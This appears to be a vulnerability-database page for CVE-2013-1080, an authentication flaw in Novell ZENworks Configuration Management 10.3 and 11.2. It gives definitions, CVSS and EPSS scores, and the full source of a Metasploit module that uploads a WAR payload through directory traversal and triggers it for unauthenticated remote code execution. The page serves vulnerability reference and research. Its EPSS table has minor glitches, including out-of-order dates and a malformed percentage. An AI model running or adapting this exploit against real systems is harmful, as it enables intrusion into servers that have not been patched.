CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The web server in Novell ZENworks Configuration Management (ZCM) 10.3 and 11.2 before 11.2.4 does not properly perform authentication for zenworks/jsp/index.jsp, which allows remote attackers to conduct directory traversal attacks, and consequently upload and execute arbitrary programs, via a request to TCP port 443.
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
78.27%
–
–
2022-09-04
–
–
76.69%
–
–
2022-12-11
–
–
75.35%
–
–
2023-03-12
–
–
–
93.4%
–
2023-05-21
–
–
–
92.6%
–
2023-05-28
–
–
–
92.6%
–
2023-07-09
–
–
–
90.33%
–
2023-08-27
–
–
–
90.89%
–
2023-10-15
–
–
–
89.01%
–
2023-12-17
–
–
–
90.16%
–
2024-02-18
–
–
–
89.5%
–
2024-06-02
–
–
–
88.58%
–
2024-06-23
–
–
–
86.9%
–
2024-10-27
–
–
–
86.28%
–
2024-12-22
–
–
–
87.8%
–
2024-12-29
–
–
–
84.63%
–
2025-02-23
–
–
–
83.36%
–
2025-01-19
–
–
–
84.63%
–
2025-02-23
–
–
–
83.36%
–
2025-03-18
–
–
–
–
72.92%
2025-03-18
–
–
–
–
72.92,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Remote Execution',
'Description' => %q{
This module exploits a code execution flaw in Novell ZENworks Configuration
Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control
Center application, allowing an unauthenticated attacker to upload a malicious file
outside of the TEMP directory and then make a second request that allows for
arbitrary code execution. This module has been tested successfully on Novell
ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE
Linux Enterprise Server 10 SP3.
},
'Author' =>
[
'James Burton', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1080' ],
[ 'BID', '58668' ],
[ 'OSVDB', '91627' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ]
],
'Privileged' => false,
'Platform' => [ 'win', 'linux' ],
'Targets' =>
[
[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
'Traversal' => '../webapps/'
}
],
[ 'ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'Traversal' => '../../opt/novell/zenworks/share/tomcat/webapps/'
}
]
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 22 2013'))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => "/zenworks/jsp/fw/internal/Login.jsp"
})
if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Detected
end
def exploit
# Generate the WAR containing the EXE containing the payload
app_base = rand_text_alphanumeric(4+rand(4))
jsp_name = rand_text_alphanumeric(8+rand(8))
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
# Rex::MIME::Message.new doesn't work fine with binary data, destroys "\x0d" chars
boundary = "----#{rand_text_alpha(34)}"
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"mainPage:_ctrl21a:FindFile:filePathTextBox\"; filename=\"#{target['Traversal']}#{app_base}.war\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << war_data
data << "\r\n"
data << "--#{boundary}--"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
})
if res and res.code == 302
print_status("Upload finished, waiting 20 seconds for payload deployment...")
else
fail_with(Exploit::Failure::Unknown, "Failed to upload payload")
end
# Wait to ensure the uploaded war is deployed
select(nil, nil, nil, 20)
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_cgi({
'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"),
'method' => 'GET',
})
end
end
Products Mentioned
Configuraton 0
Novell>>Zenworks_configuration_management >> Version 10.3
Novell>>Zenworks_configuration_management >> Version 10.3 (Open CPE detail)
Novell>>Zenworks_configuration_management >> Version 11.2
Novell>>Zenworks_configuration_management >> Version 11.2 (Open CPE detail)